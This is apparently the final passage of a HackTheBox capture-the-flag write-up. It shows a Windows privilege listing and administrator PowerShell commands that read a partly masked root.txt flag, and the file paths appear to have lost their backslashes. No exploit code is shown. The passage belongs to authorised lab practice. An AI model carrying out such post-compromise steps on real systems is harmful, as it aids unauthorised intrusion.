SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
PS C:Windowssystem32> 
```

### Root.txt

```powershell
PS C:Windowssystem32> cd c:usersadministratordesktop
cd c:usersadministratordesktop
PS C:usersadministratordesktop> Get-Content root.txt
Get-Content root.txt
b7ac74b06********************
```

**Tags:** HackTheBox